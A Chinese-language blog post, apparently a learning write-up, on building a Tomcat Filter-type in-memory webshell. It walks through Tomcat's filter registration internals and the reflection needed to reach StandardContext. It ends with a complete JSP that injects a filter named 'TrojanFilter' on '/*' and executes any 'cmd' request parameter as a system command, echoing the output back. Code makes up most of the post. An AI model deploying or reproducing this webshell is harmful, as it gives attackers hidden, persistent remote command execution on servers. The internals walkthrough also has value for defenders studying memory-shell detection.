前言
网上文章都是filter已经创建好了,然后关注创建过程中需要的关键参数。
组长的视频思路更偏向于filter的创建过程。这篇文章基于组长的思路编写。
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId> <artifactId>Tomcat8-Servlet</artifactId> <version>1.0-SNAPSHOT</version> <name>Tomcat8-Servlet</name> <packaging>war</packaging>
<properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <maven.compiler.target>1.8</maven.compiler.target> <maven.compiler.source>1.8</maven.compiler.source> <junit.version>5.9.2</junit.version> </properties>
<dependencies> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> <scope>provided</scope> </dependency> <dependency> <groupId>org.junit.jupiter</groupId> <artifactId>junit-jupiter-api</artifactId> <version>${junit.version}</version> <scope>test</scope> </dependency> <dependency> <groupId>org.junit.jupiter</groupId> <artifactId>junit-jupiter-engine</artifactId> <version>${junit.version}</version> <scope>test</scope> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.100</version> //这里替换为自己的版本 </dependency> </dependencies>
<build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-war-plugin</artifactId> <version>3.3.2</version> </plugin> </plugins> </build> </project>
|
(tomcat的核心就是catalina,不导入它很多文件找不到)
Tomcat注册Filter流程
在configureContext
方法中,关于Filter的操作其实就这些
1 2 3 4 5 6 7 8 9 10
| for (FilterDef filter : webxml.getFilters().values()) { if (filter.getAsyncSupported() == null) { filter.setAsyncSupported("false"); } context.addFilterDef(filter); }
for (FilterMap filterMap : webxml.getFilterMappings()) { context.addFilterMap(filterMap); }
|
其实就是对应xml文件的配置
那我们注意实现context.addFilterDef(filter);
和context.addFilterMap(filterMap);
就可以了
也就是说到目前为止想把恶意的Filter注册到tomcat需要实现的是
1.获取一个ServletContext
对象
2.实现context.addFilterDef(filter)
#将Filter实例化对象添加到StandardContext里面
3.实现context.addFilterMap(filterMap)
#将Filter映射关系添加到StandardContext里面
注册恶意Filter到tomcat
FilterDef
有对应的getter和setter方法 ,那这样子的话就可以直接用set方法来注册我们的恶意Filter
FilterMap
有对应的getter和setter方法 ,可以直接用set方法来注册我们的恶意Filter映射
代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
|
ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext context = (StandardContext) standardContextField.get(applicationContext);
FilterDef filterDef = new FilterDef(); filterDef.setFilter(new TrojanFilter()); filterDef.setFilterName("TrojanFilter"); filterDef.setFilterClass(TrojanFilter.class.getName()); context.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("TrojanFilter"); filterMap.addURLPattern("/*"); context.addFilterMap(filterMap);
|
Filter内存马不能成功运行
但是会发现啊,这样子并不能成功运行,排查了好久。直到看到Y4师傅的文章提到了这个方法
org.apache.catalina.core.StandardContext#filterStart
让我们在init打上断点,找到filterStart
这个类
1
| ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue())
|
可以看到this
就是StandardContext
,entry.getValue()
就是FilterDef
也就是说这段代码把StandardContex
t和FilterDef
封装成了ApplicationFilterConfig
类型,名字叫filterConfig
然后看到下一行
1
| filterConfigs.put(name, filterConfig);
|
关注到filterConfigs
,点进filterConfigs
,其实是一个HashMap,把filter名字
和刚刚创建的filterConfig
,put进filterConfigs
里面。而且更应该关注的是filterConfigs
其实StandardContext
的一个属性,直接用反射可以修改。
所以现在需要实现的目标是
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
#将StandardContext和FilterDef封装成ApplicationFilterConfig类型
filterConfigs.put(name, filterConfig);
#将我们封装好的filterConfig put到filterConfigs里面
1 2 3 4 5 6 7 8 9 10
| Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);
Field Configs = context.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(context); filterConfigs.put("TrojanFilter",filterConfig);
|
最终代码
那总结一下实现filter内存马,总过有五步
1.获取一个ServletContext
对象
2.实现context.addFilterDef(filter)
#将Filter实例化对象添加到StandardContext里面
3.实现context.addFilterMap(filterMap)
#将Filter映射关系添加到StandardContext里面
4.实现ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
#将StandardContext和FilterDef封装成ApplicationFilterConfig类型
5.实现filterConfigs.put(name, filterConfig);
#将我们封装好的filterConfig put到filterConfigs里面
随后便是tomcat filter流程
- 首先是 invoke() 方法
层层调用管道,在最后一个管道的地方会创建一个链子,这个链子是 FilterChain,再对里头的 filter 进行一些相关的匹配。
- filterchain 拿出来之后
进行 doFilter()
工作,将请求交给对应的 pipeline 去处理,也就是进行一个 doFilter()
—-> internalDoFilter()
—-> doFilter()
;直到最后一个 filter 被调用。
- 最后一个 filter
最后一个 filter 会执行完 doFilter()
操作,随后会跳转到 Servlet.service()
这里。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="java.util.Map" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.*" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <%! public class TrojanFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { Process process = Runtime.getRuntime().exec(cmd); try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK")); PrintWriter printWriter = new PrintWriter(new OutputStreamWriter(response.getOutputStream(),"GBK"))) {
printWriter.write("<pre>");
String line; while ((line = bufferedReader.readLine()) != null) { printWriter.println(line); }
printWriter.write("</pre>"); printWriter.flush(); } catch (IOException e) { e.printStackTrace(); } } else { chain.doFilter(request, response); } }
@Override public void destroy() {
} } %>
<% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext context = (StandardContext) standardContextField.get(applicationContext);
FilterDef filterDef = new FilterDef(); filterDef.setFilter(new TrojanFilter()); filterDef.setFilterName("TrojanFilter"); filterDef.setFilterClass(TrojanFilter.class.getName()); context.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("TrojanFilter"); filterMap.addURLPattern("/*"); context.addFilterMap(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);
Field Configs = context.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(context); filterConfigs.put("TrojanFilter",filterConfig);
%> </body> </html>
|
参考链接
java内存马专题1-servlet内存马
Tomcat-Filter型内存马
Java内存马系列-03-Tomcat 之 Filter 型内存马